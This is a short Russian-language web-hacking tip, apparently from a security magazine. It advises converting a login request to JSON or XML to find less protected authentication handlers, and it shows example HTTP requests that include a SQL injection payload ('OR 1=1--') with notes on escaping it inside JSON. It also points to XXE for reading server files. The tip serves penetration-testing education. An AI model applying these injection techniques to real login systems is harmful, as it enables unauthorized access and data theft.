Как найти уязвимости там, где их ещё никто не искал? Попробуй перевести POST-запрос, например, для аутентификации в JSON- или XML-формат. Идея в том, что разработчики часто оставляют различные способы аутентификации, обычно, для дальнейшего использования сторонними приложениями. А так как эта функциональность не на виду, часто она не защищена от банальных инъекций. а если в дело вступает XML — чтение произвольных файлов на сервере практически гарантированно!

Смотри, есть стандартный вход на сайт:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
...
username=demologin&password=demopass

Теперь переведем все параметры в json формат

POST /login HTTP/1.1
Content-Type: application/json
...
{ "username": "demologin", "password": "demopass" }

Если аутентификация произошла — попробуй сделать из этого инъекцию, например:

POST /login HTTP/1.1
Content-Type: application/json
...
{ "username": "demologin’ OR 1=1--", "password": "demopass" }

Не забывай, что это JSON, и чтобы не нарушить его структуру, вектор вида " OR "a"="a необходимо отправлять с экранированными кавычками — \" OR \"a\"=\"a.

Так же попробуй перевести в XML, главное не забудь про Content-type, многие веб-приложения не захотят парсить XML без него!

POST /login HTTP/1.1
Content-Type: application/xml
...
<?xml version="1.0" ?>
<username>demologin<username>
<password>demopass</password>

Всё получилось? Пробуй XXE — и возможно у тебя в руках чтение произвольных файлов на сервере. Круто, правда?

Комментарии

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Исследователи Positive Technologies вновь продемонстрировали небезопасность SS7

Специалисты Positive Technologies в очередной раз продемонстрировали ненадежность SS7 и дв…